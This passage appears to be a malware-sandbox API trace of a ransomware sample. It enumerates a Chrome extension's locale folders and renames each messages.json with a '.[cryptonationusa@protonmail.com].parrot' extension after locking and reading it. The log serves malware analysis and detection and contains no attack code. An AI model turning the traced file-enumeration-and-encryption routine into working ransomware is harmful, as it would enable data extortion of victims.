lpNewFilePointer=0x0) returned 1 [0067.503] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.503] CloseHandle (hObject=0x28c) returned 1 [0067.503] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0067.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0067.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0067.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0067.854] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.854] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb623abc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb623abc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.854] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5ef4d80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0067.855] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.855] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0067.855] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.855] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0067.855] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0067.855] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0067.855] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x220, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.855] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.855] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0067.856] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.856] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x108, lpOverlapped=0x0) returned 1 [0067.857] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.857] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x220, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.857] CloseHandle (hObject=0x28c) returned 1 [0067.857] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0067.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0067.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0067.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0067.903] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.904] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb62acfe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb62acfe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.904] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb623abc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0067.904] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.904] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0067.904] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.904] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0067.904] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0067.904] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0067.911] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21d, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.912] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.912] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0067.912] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.913] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x105, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x105, lpOverlapped=0x0) returned 1 [0067.913] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.913] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.913] CloseHandle (hObject=0x270) returned 1 [0067.913] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0068.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0068.109] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.109] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb649c1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb649c1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.109] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb62d3140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.109] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.109] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.109] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.109] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.109] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.109] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.110] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21a, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.110] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.110] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.111] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.111] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x102, lpOverlapped=0x0) returned 1 [0068.111] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.111] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.111] CloseHandle (hObject=0x270) returned 1 [0068.112] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0068.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0068.117] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.117] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb64c2320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb64c2320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.117] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb64c2320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.117] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.118] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.118] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.118] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.118] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.118] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.119] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23d, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.119] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.119] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.120] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.120] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x125, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x125, lpOverlapped=0x0) returned 1 [0068.120] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.120] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.120] CloseHandle (hObject=0x270) returned 1 [0068.121] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0548 | out: hHeap=0x5b0000) returned 1 [0068.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01a8 | out: hHeap=0x5b0000) returned 1 [0068.124] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.124] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb64c2320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb64c2320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.124] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb64c2320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 